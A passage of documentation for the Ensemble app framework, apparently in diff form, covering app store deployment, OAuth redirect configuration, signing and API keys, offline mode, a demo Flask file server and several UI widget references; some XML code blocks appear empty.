App](/pages/deploy/1-prepare-app.md) step, including following the starter repo's README instruction to configure and run your App. -* Navigate to the app folder (e.g. my_first_app). -* Under `ios` folder, open `Runner.xcworkspace` with [XCode](https://developer.apple.com/xcode/). - * Select the Team (Apple Account) used to create the App and Bundle ID. You may need to log in to your Apple Developer Account under XCode > Preferences > Accounts. - * Under `Signing & Capabilities`, ensure the `Bundle Identifier` matches exactly your Bundle ID above. - Update App configs - - * Under `Info`, find the `Bundle display name` key and update its value to your desire name (e.g. My First App). This is the name that shows up once your App has been installed. This doesn't have to exactly match your App Name, and can be shorter so its name is not cut off under the App icon. - Add App - -* Run `flutter build ipa --no-tree-shake-icons`. This will create the ipa file at /build/ios/ipa/my_first_app.ipa. -* Download Apple’s [Transporter](https://apps.apple.com/us/app/transporter/id1450874784?mt=12) and login with the same Apple account. Drop the ipa file into the Transporter App then click Deliver. - * This may take 5-10 minutes AFTER upload completes before the build shows up under `Your App Name > TestFlight` tab, plus another 10-15 minutes to complete processing. -* Click to manage Apple's app compliance by answering the questions. - Update App configs -* You can now invite your team members to install your App under `Internal Testing`. Each person can download the app via TestFlight. - ---- - -# Connecting to OAuth services (Optional) - -Ensemble supports authorizing and fetching data from OAuth2 services like Google and Microsoft. The entire flow is handled automatically if you are using Ensemble Go to preview your app. - -When deploying your Production App and you'd like to use OAuth Services, please follow these instructions to configure your back-end server to work with Ensemble's UI. - -## App Redirect -When an OAuth flow is initiated within the UI, Ensemble will redirect the users to the appropriate OAuth service's login page. Once the users enter their username/password and authorize your app, the OAuth service will invoke a callback URL (known as Redirect URL) that your app defines. This Redirect URL will re-open your app and continue the OAuth flow. - -The Redirect URL to open your App can be a Http App Link or a Custom Scheme (non-http). - -### Custom Scheme -#### iOS -- Look for `CFBundleURLTypes` inside the ios/Runner/Info.plist and update accordingly. - - `CFBundleURLName` - By convention match this with your bundleID - - `CFBundleURLSchemes` - When registering with the OAuth services, they may give you a unique string or enable you to enter your own. The scheme follows this format `some.globally.unique.scheme://`. This has to be unique so it doesn't clash with any other apps out there. - - Enter only the portion before the `://`. -``` -CFBundleURLTypes - - - CFBundleURLName - com.mycompany.myapp - CFBundleURLSchemes - - some.globally.unique.scheme - - - -``` - -#### Android -- Open `android/app/src/main/AndroidManifest.xml`. Look for the callback Activity and add an `intent-filter` for your callback. -- e.g. if your callback URL looks like this `some.globally.unique.scheme://authorize`, the android:scheme should be `some.globally.unique.scheme`, and android:host should be `authorize`. -``` - - - - - - - - - - - - - -``` - - -### Http App Link -Using a URL to redirect and open your App requires two steps for each platform: 1. adding a configuration similar to the custom schemes above, and 2. prove that you own the redirect URL's domain. -#### iOS -- Open `ios/Runner/Runner.entitlements` and add an entry for the URL you want to redirect to your App. Note the required prefix `applinks:`. -- For example, if your want the URL `https://auth.mycompany.com/callback` to open your app. Enter only the domain to the URL below. -``` - - com.apple.developer.associated-domains - - - applinks: .... - - - applinks:auth.mycompany.com - - -``` - -- Prove that you own the domain URL above by uploading the json file below to your domain (or subdomain - depending what you used). - - The file should be called `apple-app-site-association` and served with Content-Type of `application/json`. - - The file can be at the root of your server or under a folder called `.well-known`. - - Using the example URL above, add `/callback` to the paths. -``` -{ - "applinks": { - "apps": [], - "details": [ - { - "appID": ".", // e.g. 3GHDU3434.com.mycompany.myapp - "paths": ["/"] // e.g. /callback - }, - { - .. other Apps and paths here ... - } - ] - } -} -``` - -#### Android -- Open `android/app/src/main/AndroidManifest.xml`. Look for the callback Activity and add an `intent-filter` for your callback. - - android:host is the URL domain or subdomain that will open the app, while android:pathPrefix is the path after the domain. - - For example, use the below if your want the URL `https://auth.mycompany.com/callback` to open your app. -``` - - - - - - - -``` -- Prove that you own the domain URL above by uploading the json file below to your domain (or subdomain - depending what you used). - - The file should be called `assetlinks.json` and served with Content-Type of `application/json`. - - The file can be at the root of your server or under a folder called `.well-known`. - - Get your app's SHA256 by going to Google Play's developer console. -``` -[ - { - "relation": ["delegate_permission/common.handle_all_urls"], - "target": { - "namespace": "android_app", - "package_name": "com.mycompany.myapp", - "sha256_cert_fingerprints": [ - "", - ] - } - } -] -``` - -## Server component -Once the OAuth service successfully authenticates the user and redirect back to our App, we will be making a call to your server and pass the OAuth code. Your service will be exchanging this code for the access/refresh token. -- We provide the sample server code in Node (deployable with Firebase). -- Open `ensemble/ensemble-config.yaml` and go to `services -> apiAuthorization`. - - Replace the `tokenExchangeServer` - ---- - -# Deploy to Android devices - -* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, then navigate to the folder created (e.g. my_first_app). -* Run `flutter create --platforms=android .` (note the period at the end) -* Run `flutter build apk --no-tree-shake-icons` to build the APKs (destination is /build/app/outputs/flutter-apk/). -* Connect your Android device to your computer, then run `adb install build/app/outputs/flutter-apk/app-release.apk`. - - -### Customizing your App -* Play Store requires each app to have a unique app ID, which cannot be changed after your submit your App. - * To update the app ID, open `/android/app/build.gradle`. Go to `android > defaultConfig > applicationId` and update the value. - * Remove `/android/app/src/main/AndroidManifest.xml`. - * Run `flutter create --platforms=android .`. -* To update the app's name. Open `/android/app/src/main/AndroidManifest.xml` and change the `android:label=` to the app name. - ---- - -# Deploy to Android Play Store - -## Pre-requisites -* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, then navigate to the folder created (e.g. my_first_app). -* Sign your Android app's release version. The below is a demonstration and maybe out-of-date. Please follow Android's latest documentation for up-to-date information. - * Generate a release key using Java's keytool - * Run `keytool -genkey -v -keystore ~/.jks -keyalg RSA -keysize 2048 -validity 10000 -alias ` - * Replace and to your liking. The tool will also ask you to choose the passwords. - * Under the /android folder, create a file called `key.properties`(DO NOT check this in) and populate these required values: -``` -storePassword= -keyPassword= -keyAlias= -storeFile= -``` - * Open `/android/app/build.gradle`. Under `android > buildTypes > release`, enter `signingConfig signingConfigs.release`. - -## Uploading your build -* Navigate to the folder for your project (e.g. my_first_app). -* Open the file `pubspec.yaml` and look for `version` e.g. version: 1.0.0+1. The last number is the build number which has to be unique on every upload. Simply increment it for each production build. -* Run `flutter build appbundle --no-tree-shake-icons`. This will create the bundle file under `build/app/outputs/bundle/release/app-release.aab`. -* Log into your [Play Store console](https://play.google.com/console) and go to your App. Select your release and upload the `.aab` file. - -## Updating your Play Store app. -* Once your app has been approved and live on the Play Store, follow these instructions for subsequent updates: - * Run `flutter pub upgrade` to upgrade Ensemble dependencies. This may include framework's bug fixes as well as new widget additions. - * If you are using Ensemble-hosted definitions, you already have the latest page definitions. -* Increment the version (the one after the + sign) in `pubspec.yaml`. -* Run `flutter build appbundle --no-tree-shake-icons`. This will create the bundle file under `build/app/outputs/bundle/release/app-release.aab`. -* Log into your [Play Store console](https://play.google.com/console) and go to your App. Select your release and upload the `.aab` file. - ---- - -# Prepare for Production - -Now, that you have built and tested an ensemble app, you would like to publish. Before publishing your app, it is recommended to make it production-ready. - -This guide covers covers the following topics. - -- **Adding a launcher icons** -- **Adding native splash screen** - -## Adding a launcher icons - -Launcher icons are required as the visual representation of the app on the device's home screen and app drawer, helping users quickly identify and launch the app. - -Currently, the Flutter logo serves as the default icon. Let's see how to replace it with your product's logo. - -We'll be using a package called fluter launcher icons from [pub.dev](https://pub.dev/packages/flutter_launcher_icons). - -- First add the package as dev dependency in `pubspec.yaml`. -```yaml -dev_dependencies: - flutter_launcher_icons: any -``` - -- Add launcher icon configuration inside `pubspec.yaml` -```yaml -flutter_icons: - android: "launcher_icon" - ios: true - # Add path to your icon image. - image_path: "assets/icon/icon.png" - web: - generate: true - image_path: "path/to/image.png" - background_color: "#hexcode" - theme_color: "#hexcode" -``` - -- Run the following command in terminal, to update native launcher icons with above configuration -```bash -flutter pub get -flutter pub run flutter_launcher_icons -``` - -For more nitty-gritty detail check [flutter_launcher_icons#book-guide](https://pub.dev/packages/flutter_launcher_icons#book-guide) - - -## Adding Native Splash screen - -When launching an app, a splash screen is the initial display that a user sees. By default, a native app shows a white screen, but with a splash screen, you can showcase your brand or product logo, and provide the user with a visual cue that the app is in the process of loading. - -We'll be using a package called fluter native screen from [pub.dev](https://pub.dev/packages/flutter_native_splash). - -To add a splash screen to your app, these steps should be followed: - -- First add the package as dev dependency in `pubspec.yaml`. -```yaml -dev_dependencies: - flutter_native_splash: any -``` - -- Add splash screen configuration inside `pubspec.yaml` -```yaml -flutter_native_splash: - - # color or background_image is the only required parameter. - # Only one parameter can be used, color and background_image cannot both be set. - color: "#hexcode" - #background_image: "assets/background.png" - - # The image parameter allows you to specify an image used in the splash screen. It must be a - # png file and should be sized for 4x pixel density. - #image: assets/splash.png - - # The branding property allows you to specify an image used as branding in the splash screen. - # It must be a png file. It is supported for Android, iOS and the Web. For Android 12, - # see the Android 12 section below. - #branding: assets/dart.png - - # To position the branding image at the bottom of the screen you can use bottom, bottomRight, - # and bottomLeft. The default values is bottom if not specified or specified something else. - #branding_mode: bottom - - # Dark theme parameters, if not set above params will be used. - #color_dark: "#042a49" - #background_image_dark: "assets/dark-background.png" - #image_dark: assets/splash-invert.png - #branding_dark: assets/dart_dark.png -``` - -- Run the following command in terminal, to update native slash screen setting with above configuration -```bash -flutter pub get -flutter pub run flutter_native_splash:create -``` - -Re-run your app and you'll see newly added splash screen. - -For more nitty-gritty detail check [flutter_native_splash#usage](https://pub.dev/packages/flutter_native_splash#usage) - ---- - -# Making your app work when offline - -You can embed your app definition in your build output so that your app works without network connectivity. Note that once you make this change, you will not have the ability to change the app from Ensemble Studio. - -## Prerequisites - -* You have completed the [Prepare your app for deployment step](#preparing-your-app-for-deployment). -* You have a text or code editor on your machine. We recommend [VS Code](https://code.visualstudio.com/). - -## Step 1. Create a folder for your app - -In your local directory where you cloned Ensemble Starter, navigate to `/ensemble/apps` folder. Create a new folder with your desired name, and no spaces. - -This name will not be customer-facing. - -Local app folder - -## Step 2. Copy your app artifacts - -To work in local mode, you can obtain your app artifacts from either **Ensemble Studio** or the **Desktop app**. -#### Option 1: Downloading Artifacts from Ensemble Studio - -1. Open **Ensemble Studio**. -2. Click the `...` menu button for your app. -3. Select **Download Beta** to download all the app artifacts. -4. Once downloaded, locate the app folder. -5. Copy the entire folder (with the above structure). -6. Paste the folder into the `/ensemble/apps` directory you created. - -#### Option 2: Obtaining Artifacts from the Desktop App - -To obtain local artifacts from the Desktop app, pull the app directly into the `/ensemble/apps` folder in your local directory where you cloned the Ensemble Starter. - -Follow this [guide](#pulling-from-cloud-to-local) to pull the app from the Desktop app. -Once obtained, copy and paste the downloaded folders into the `/ensemble/apps` folder you created. - -The downloaded app will already have the following structure: - -``` -/ -├── assets/ -├── fonts/ -├── scripts/ -├── widgets/ -├── screens/ -├── translations/ -├── config/ -│ ├── appConfig.json -│ ├── secrets.json -├── theme.yaml -├── .manifest.json -``` - - -## Step 4. Update your app to read the definitions locally - -In your local directory where you cloned Ensemble Starter, open `/ensemble/ensemble-config.yaml` file with your desired code or text editor and make the following updates: - -- At the top, set `from: local` under `definitions`: - -```yaml -definitions: - # where your page definitions are hosted ('local', 'remote' or 'ensemble') - from: local -``` - -- Then set the `appId` and `appHome` properties under `local` - -```yaml - local: - path: ensemble/apps/ - appId: myApp # this is the name of the folder you created in step 1 - appHome: MyHomeScreen # this is the name of the screens that should be rendered first when your app id launched -``` -- Under `i18n` update the `path` to match your app’s name `ensemble/apps/yourAppName/translations`. -```yaml - i18n: - # Directory where all the translation files (e.g. en.yaml, es.yaml) reside. - # Translation will be disabled without the path. - path: ensemble/apps/helloApp/translations/ -``` -## Step 5. Update starter `pubspec.yaml` -Add the necessary paths under `flutter -> assets` to ensure your app loads all required files and folders correctly: - -```yaml -flutter: - assets: - # list all your Apps directories here. It's a Flutter requirement - - ensemble/apps/``/ - - ensemble/apps/``/screens/ - - ensemble/apps/``/widgets/ - - ensemble/apps/``/scripts/ - - ensemble/apps/``/assets/ - - ensemble/apps/``/translations/ - - # # config folder contains appConfig.json and secrets.json - - ensemble/apps/``/config/ - ``` - NOTE: Only add the existing paths under assets and replace `` with the name of you app folder. - -## 5. Rebuild your app - -Now you can follow the steps for iOS or Android to run the app locally or build and upload your app to the respective app stores. - ---- - -# Guide: Generating Google Play Console API Key - -## Overview - -This guide outlines the steps to generate a Google Play Console API Key, enabling seamless deployment of APKs or App Bundles directly to the Google Play Store. Make sure to follow these steps sequentially for a smooth process. - -**Note:** Before using the Google API for direct app uploads, you must manually upload at least one build to Google Play Console. However, the build system can still be used to obtain the APK/App Bundle for subsequent uploads. - -## Steps for Creating Google Play API Key - -1. **Log in to Google Cloud Console:** - - Open [Google Cloud Console](https://console.cloud.google.com/). - - Ensure you are logged in with the same account as your Google Play Console. - - If needed, switch accounts by clicking on the avatar. - -2. **Select Google Play Console Developer:** - - Confirm that your account is set to `Google Play Console Developer` in the dropdown menu (located right of the Google Cloud Console logo). - -3. **Access APIs & Services:** - - Select `APIs & Services` from Quick Access. If not visible, use the search bar in the top center. - -![Google Cloud Console Home screen](public/images/deploy/b88f2d9e-8959-4c03-aa3d-b30b3aac56da.png) - -4. **Navigate to Credentials:** - - In the left panel, click on `Credentials`. - -5. **Create Service Account:** - - Click on `+ Create Credentials` at the top, then select `Service Account`. - - Provide a name for the service account (memorable for identification). - - Click `Create and Continue`. - -![Add Credentials](public/images/deploy/2f64dff5-5657-40dd-9461-e79eb5ccb6aa.png) - -6. **Define Role:** - - Choose the role as `Service Account User`. - - Click `Done` to create the API Key. - -![Select adequate role](public/images/deploy/81cb60a6-acac-41d4-b18b-53faceaa2bd6.png) - -7. **Copy Email Address:** - - Copy the email address of the created key (will be needed later). - -8. **Manage Key:** - - Click on the edit icon in the Action row, select `Manage Key`. - -![Manage Key](public/images/deploy/da4986fe-311c-4080-87cc-240b119fbce2.png) - -9. **Generate JSON Key File:** - - In the `Keys` tab, click on `Add Key`, then `Create new key`. - - Choose `JSON` and click `Create`. - - Save the downloaded `.json` file securely. - -![Download json key](public/images/deploy/0cede178-01ac-4fe8-841d-25e59067f9ec.png) - -**Note:** This key needs to be linked to Google Play Console before use. - -10. **Link Key to Google Play Console:** - - Open [Google Play Console](https://play.google.com/console/) and go to `Users and Permissions` in the sidebar. - -11. **Invite New Users:** - - Click on `Invite New Users` and paste the email address saved in step 7. - -![Invite new user](public/images/deploy/bd4df269-e351-4dad-a82d-acb45bc99801.png) - -12. **Set App Permissions:** - - In the App Permissions tab, select the apps for direct upload using the build system. - -![App Permissions](public/images/deploy/e2294e7f-01e2-4223-a378-9851fc34b1fe.png) - -13. **Configure Account Permissions:** - - In the `Account Permissions` tab, check relevant options under `App Access` and `Releases`. - -![Account permissions 1](public/images/deploy/41ae9244-7dd3-4ba5-b7bf-26068bd85ac7.png) -![Account permissions 2](public/images/deploy/5fd3b828-cfd9-4be8-9b21-54125c38a09e.png) - -14. **Send Invite:** - - Click on `Invite User`, then `Send Invite` to link the generated key with the apps successfully. - -Follow these steps diligently to ensure a hassle-free setup of your Google Play Console API Key. - ---- - -# Guide: Generating API Key for App Store Connect - -## Overview - -This guide provides step-by-step instructions on generating an API key for App Store Connect. This key allows you to interact programmatically with App Store Connect which would be required for deploying apps directly to App Store Connect using Build System. - -**Note:** Ensure you have the necessary App Store Connect account permissions to generate API keys. - -## Steps for Creating API Key - -1. **Navigate to App Store Connect:** - - Visit [App Store Connect](https://appstoreconnect.apple.com/). - -2. **Log in to Your Account:** - - Log in with your App Store Connect credentials. - -3. **Access API Keys Section:** - - From the homepage, navigate to the `Users and Access` section. - -4. **Select API Keys:** - - Click on the `Keys` option from the top. - -5. **Generate a New API Key:** - - Click on the `+` button. - -![Keys section](public/images/deploy/a1622af9-6bc4-44e8-9d40-01ecaa802e38.png) - -6. **Fill in the Details:** - - Provide a name for your API key. It will be useful to identify your key later on. - - Choose `App Manager` in the access part of the dialog. - -![API Key form](public/images/deploy/63059213-709b-4686-84ab-7293398951e1.png) - -7. **Generate the Key:** - - Click on the `Generate` button to create the API key. - -8. **Download and Store the Key:** - - There will be a `Download` button for the newly generated key. Download the `.p8` file which is the API key. - - Safely store the key file, as it cannot be downloaded again. - -![Download the generated API Key](public/images/deploy/4998013e-c189-4289-97b9-e4a6fb61038a.png) - -9. **Copy Key ID and Issuer ID:** - - Copy the `Key ID` for the generated key. Also, copy the `Issuer Id` at the top. - - They both will be required later on in the build system. - -Follow these steps to successfully generate an API key for App Store Connect, allowing seamless integration with the Build System. - ---- - - -# Guide: Generating a Firebase Service Account for App Distribution - -## Overview - -This guide outlines the steps to generate a Firebase Service Account with the necessary permissions to use the Firebase App Distribution API for seamless app distribution. - ---- - -## Steps for Creating a Firebase Service Account - -### 1. Log in to Firebase Console - -- Open the [Firebase Console](https://console.firebase.google.com/). -- Ensure you are logged in with the account associated with your Firebase project. - -### 2. Navigate to Project Settings - -- Select your project by clicking on its name in the top-left corner. -- From the dropdown menu, select **Project Settings**. -- Select the **Service accounts** tab -- Click the **X service accounts** button to open the Google Cloud Platform interface. - -![Firebase Service Accounts Button](public/images/deploy/firebase_service_accounts_button.png) - ---- - -### 3. Create a New Service Account - -#### a. Access Service Accounts - -- In the Google Cloud Platform, navigate to the **Service Accounts** section. -- Click the **Create Service Account** button. - -![Create Service Account Button](public/images/deploy/service-account.png) - -#### b. Fill in Service Account Details - -- **Step 1**: Enter the Service Account name and description. This helps you identify the account later and click **Create**. -- **Step 2**: Click the **Select a role** dropdown and choose **Firebase App Distribution Admin** and Click **Continue**. -- **Step 3**: Leave additional fields blank and click **Done**. - ---- - -### 4. Manage Service Account Keys - -#### a. Locate Your Service Account - -- In the list of service accounts, find the one you just created. -- Click the menu in the **Actions** column and select **Manage keys**. - -![Manage Keys Button](public/images/deploy/google_cloud_three.png) - -#### b. Create a New Key - -- In the **Keys** section, click **Add Key > Create new key**. -- Select **JSON** as the key type and click **Create**. -- Download the JSON key file and save it in a secure location. - -![Download JSON Button](public/images/deploy/google_cloud_four.png) - ---- - -### 5. Upload the JSON Key to Ensemble Studio - -- Return to Ensemble Studio. -- Upload the JSON key file to the **Firebase App Distribution** configuration in the **Build & Deploy** page. - ---- - - -# Host and serve your app definition on your own server - -Ensemble automatically serves your application definition (EDL). It also allows you to take the EDL from Ensemble studio and serve it from your own server. - -> [!NOTE] -> You must have owner or editor permission to download the app. - -> [!NOTE] -> Do not change any filename, extension or location of file. - - -### Serve the files - -> [!NOTE] -> The server code present here is just for demo purpose. - - -```python -from flask import Flask, abort, Response -import os - -app = Flask(__name__) - -BASE_DIR = '' - -@app.route('') - -@app.route('//') -def serve_file(app, filepath): - safe_app = os.path.normpath(app) - safe_filepath = os.path.normpath(filepath) - - full_path = os.path.join(BASE_DIR, safe_app, safe_filepath) - - if not full_path.startswith(os.path.join(BASE_DIR, safe_app)): - abort(403, "Access denied") - - if os.path.isfile(full_path): - with open(full_path, 'rb') as f: - content = f.read() - return Response(content, mimetype='text/plain; charset=utf-8') - else: - abort(404, description="Resource not found") - -if __name__ == '__main__': - app.run(debug=True, host='0.0.0.0', port=5001) - -``` -fyi: This server code is used to serve static files of your application and you can run this by simply `python filename.py` - -`BASE_DIR` is where all the downloaded from from download app button are available. -Here just make sure, the file serving route of your server can take filepath as parameter. -`filepath` can be `Home.yaml` or `i18n/en.yaml`. - - -### Configure the client app -> [!NOTE] -> Make sure your file serving server is live. - -Go to your `ensemble-config.yaml` under your `ensemble` directory in your client application. - -```yaml -definitions: - from: remote # here change local or ensemble to remote - - remote: - path: https://your-domain.com - appId: - appHome: - i18nPath: https://your-domain.com/appId/i18n -``` - - - ---- - - -# Accordion Widget - -The `Accordion` widget allows you to display a list of items in an accordion-style UI, where individual sections can be expanded or collapsed. This widget is highly customizable, offering options for styling the headers and bodies, controlling the behavior of sections (whether multiple sections can be open at once), and customizing animations and icons. - -## Key Properties and Features - -- **Accordion Mode**: The `limitExpandedToOne` property determines whether only one section can be open at a time (accordion mode) or multiple sections can be open simultaneously. Defaults to `true`. -- **Initial Opening Sequence Delay**: The `initialOpeningSequenceDelay` property allows you to add a delay (in milliseconds) before the initial opening of the sections. -- **Section Styling**: The `headerStyle` and `bodyStyle` properties allow you to customize the appearance of the header and body sections, respectively. -- **Icons**: You can add icons to the left and right of each section using `leftIcon` and `rightIcon`, and choose whether they flip when the section is opened or closed. -- **Padding and Spacing**: Control padding inside sections and spacing between sections using properties like `paddingListTop`, `paddingListBottom`, `paddingListHorizontal`, `paddingBetweenOpenSections`, and `paddingBetweenClosedSections`. Default values for padding are `0.0`. -- **Animations**: Customize the opening and closing animations of the sections with `openAndCloseAnimation` and `scaleWhenAnimating`. Both default to `true`. -- **Scrolling**: Disable scrolling for the accordion using the `disableScrolling` property. Defaults to `false`. - ---- - - -# Avatar widget - -The Avatar Widget provides a visual representation of a user or entity, typically used in user interfaces to personalize user experience. - ---- - - -# Button widget - -A control that can execute an action on tap or click. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/09c1087b-f9ee-4a8c-9286-e0e881184c07) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------ | -| label | string | The button label | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| submitForm | boolean | If the button is inside a Form and upon on tap, it will execute the form's onSubmit action if this property is TRUE | -| onTap | [action](/pages/actions/directory.md) | Call Ensemble's built-in functions or execute code | -| onTapHaptic | enum | The type of haptic to perform when button is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| endingIcon | object | Icon placed behind the label, according to device text alignment | -| startingIcon | object | Icon placed in front of the label, according to device text alignment | -| gap | integer | The gap between the starting icon and ending icon | - -### Styles - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------ | -| outline | boolean | Whether the button should have an outline border instead of filled background | -| color | [integer or string](#Color) | Set the color for the button label starting with '0xFF' for full opacity. `transparent`, `black`, `blue`, `white`, `red`, `grey`, `teal`, `amber`, `pink`, `purple`, `yellow`, `green`, `brown`, `cyan`, `indigo`, `lime`, `orange` | -| labelStyle | object | An object that determines the size, color, and decoration of text | - -### Box Styles (Inherited) -This widget also inherits these styles - ---- - -# Calendar widget - -[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4aAgiwyVyucOAilPNy0s) - -| Attribute | Description | -|--------------------|-----------------------------------------------------------------------------------------------| -| rowHeight | Sets the height of each row in the calendar to a specified value (120 in this case). | -| tooltip | Displays a tooltip with information about the focused date, providing guidance on interaction.| -| headerTextStyle | Defines the text style for the calendar header, controlling its font size. | -| firstDay | Sets the first day of the calendar based on the current date. | -| range | Manages the selection of date ranges, allowing actions to be performed when a range is completed.| -| cell | Configures the style and alignment of individual calendar cells. | -| selectCell | Specifies the appearance of the selected cell in the calendar. | -| markCell | Determines the style of marked cells in the calendar. | -| todayCell | Customizes the appearance of cells representing the current date. | -| disableCell | Defines the style of disabled cells in the calendar, typically with a line-through decoration.| -| rowSpans | Configures the display of events spanning across multiple days, providing a clickable button. | - - -### Row Span in detail - -Row spans are widget, this widget span across multiple cell (Date). -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or storgae | -| name | string | Set the name to reference as you iterate through the array of data | -| span | | [Span detail](#Span) | - -#### Span -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| start | string, DateTime | Starting date of span | -| end | string, DateTime | Ending date of span | -| widget | | The widget to render for each item | - - -### Methods -| Function | Args | Description | -| ---| ---| --- | -|update() | | Refresh the calendar if required. Note calendar will automatically on calling any below functions | -| clearRange() | | Clear range entire range selection with this function. | -|selectCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as selected | -|selectStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as selected| -|unSelectCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as un-selected | -|unSelectStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as un-selected| -|toggleSelectCell(dates)| Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between selected and unselected with given dates -|markCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as marked | -|markStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as marked| -|unMarkCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as un-mark | -|unMarkStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as un-marked| -|toggleMarkCell(dates)| Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between mark and unMark with given dates -|disableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as disable | -|disableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as disable | -|enableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as enabled | -|toggleDisableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between enable and disabled cells with given dates | - -#### Exploring the [Kitchen Sink example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4aAgiwyVyucOAilPNy0s), let's delve into the process that repeats as users interact with the app, triggering events and updating the UI based on the defined logic and configurations. - -Upon the View's loading, we initiate the following code block: -```yaml -executeCode: - body: |- - ensemble.storage.events = generateEvents(); -``` -This loads in all hardcoded objects within the `generateEvents()` function, as outlined in the `Global: |-` block. - -A notable quirk is encountered when dealing with bindings – setting storage to something (even itself) triggers them. The Calendar example illustrates this perfectly: -```yaml -executeCode: - body: |- - var newEvent = {'start_date': calendar.rangeStart, 'end_date': calendar.rangeEnd, 'title': nameInput.value, 'detail': descInput.value}; - ensemble.storage.events.push(newEvent); - ensemble.storage.events = ensemble.storage.events; - console.log(ensemble.storage.events); - onComplete: - navigateBack: -``` -Here, we start by appending/pushing our new event into our `ensemble.storage.events` array. However, to activate the binding for the updated array, we set it equal to itself, completing the cycle. - ---- - - -# Carousel widget - -The Carousel Widget allows you to create and render carousels, enabling the presentation of multiple items in a visually engaging and interactive slideshow format within your application. - ---- - - -# ChartJS widget - -The ChartJS widget renders a chart by leveraging the open-source library [chartjs.org](https://www.chartjs.org/). - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/5d7b84de-3bbd-456e-aeea-98e2c9f4c3c7) - - -## Basic example - -The primary property required for ChartJs widget requires is `config`. - -```yaml filename="source" -View: - body: - Column: - children: - - ChartJs: - onTap: - eexecuteCode: - body: | - console.log(event.data); - config: | - { - "type": "pie", - "data": { - "labels": ["Red", "Blue", "Yellow"], - "datasets": [{ - "data": [300, 50, 100], - "backgroundColor": [ - "rgb(255, 99, 132)", - "rgb(54, 162, 235)", - "rgb(255, 205, 86)" - ] - }] - } - } -``` - - -## Replace chart's data with new data - -You can change the entire data of a chart using `setData` method: - -1. Add an id to your chart widget. -2. Use `setData` replace data. -3. Use `update` to redraw the chart. - - -```yaml filename="source" -View: - - body: - Column: - styles: - padding: 100 0 - gap: 16 - crossAxis: center - children: - - Text: - text: Energy Sources - styles: - textStyle: - fontSize: 20 - - ToggleButton: - styles: - spacing: 10 - runSpacing: 10 - color: black - selectedColor: white - backgroundColor: white - selectedBackgroundColor: green - selectedBorderColor: blue - borderColor: green - items: - - Your home - - Others - value: "Your home" - onChange: | - if (this.value == "Your home") { - energySourceChart.setData(0, [60,10,20,10]); - energySourceChart.update(); - centerText.text = "60%"; - } else { - energySourceChart.setData(0, [20,40,50,20]); - energySourceChart.update(); - centerText.text = "10%"; - } - - - Stack: - styles: - alignChildren: center - children: - - ChartJs: - styles: - width: ${ device.width } - height: ${ device.width } - id: energySourceChart - config: ${ setEnergyChartConfig([60,10,20,10])} - - Column: - styles: { crossAxis: center, mainAxis: center } - children: - - Text: - text: Green energy - styles: - textStyle: - color: 0xff969BA1 - fontSize: 12 - - Text: - id: centerText - text: 60% - styles: - textStyle: - fontSize: 32 - textAlign: end - - -Global: |- - - function setEnergyChartConfig (data) { - return ({ - "type": 'doughnut', - "data": { - "labels": ["Green", "Coal", "Gas", "Oil"], - "datasets": [{ - "data": data, - "backgroundColor": ['#4BC22F','#474747','#FFBE0A', '#6933FF'], - "hoverOffset": 30, - "borderWidth": 0 - }] - }, - "options": { - "responsive" : true, - "aspectRatio": 1, - "cutout": 80 , - "plugins": { - "legend": { - "display": false - }, - "tooltip": { - "enabled": true, - "position": "nearest" - }, - "labelInsideCircumference": { - "font": { - "size": '11', - "weight": 'normal' - }, - "color": '#000', - "space": 40, // Space between label and circumference - "labelPadding": 10, // Padding on the left and right of the label inside the box - "boxHeight": 30, // Height of the label box - "borderRadius": 4, // Border radius for the label box - "iconOffset": 15 // Horizontal offset for the icon inside the box, - } - }, - "layout": { - "padding": 80 - } - }, - "plugins": [{ - "id": 'labelInsideCircumference', - "beforeDraw": function (chart) { - var labels = chart.data.datasets[0].data; - var colors = chart.data.datasets[0].backgroundColor; - var ctx = chart.ctx; - var width = chart.width; - var height = chart.height; - var labelConfig = chart.options.plugins.labelInsideCircumference; - - ctx.restore(); - ctx.font = labelConfig.font.size + 'px ' + labelConfig.font.weight; - ctx.fillStyle = labelConfig.color; - ctx.textBaseline = 'middle'; - - var total = chart.config.data.datasets[0].data.reduce(function (acc, val) { - return acc + val; - }, 0); - var startAngle = -0.54 * Math.PI; - var endAngle = startAngle; - - // unicodes for the icons - var iconUnicodes = ['🍃', '🪨', '🔥', '🛢️']; - var text = ["Green", "Coal", "Gas", "Oil"]; - - for (var i = 0; i < labels.length; i++) { - var angle = (chart.data.datasets[0].data[i] / total) * (2 * Math.PI); - endAngle += 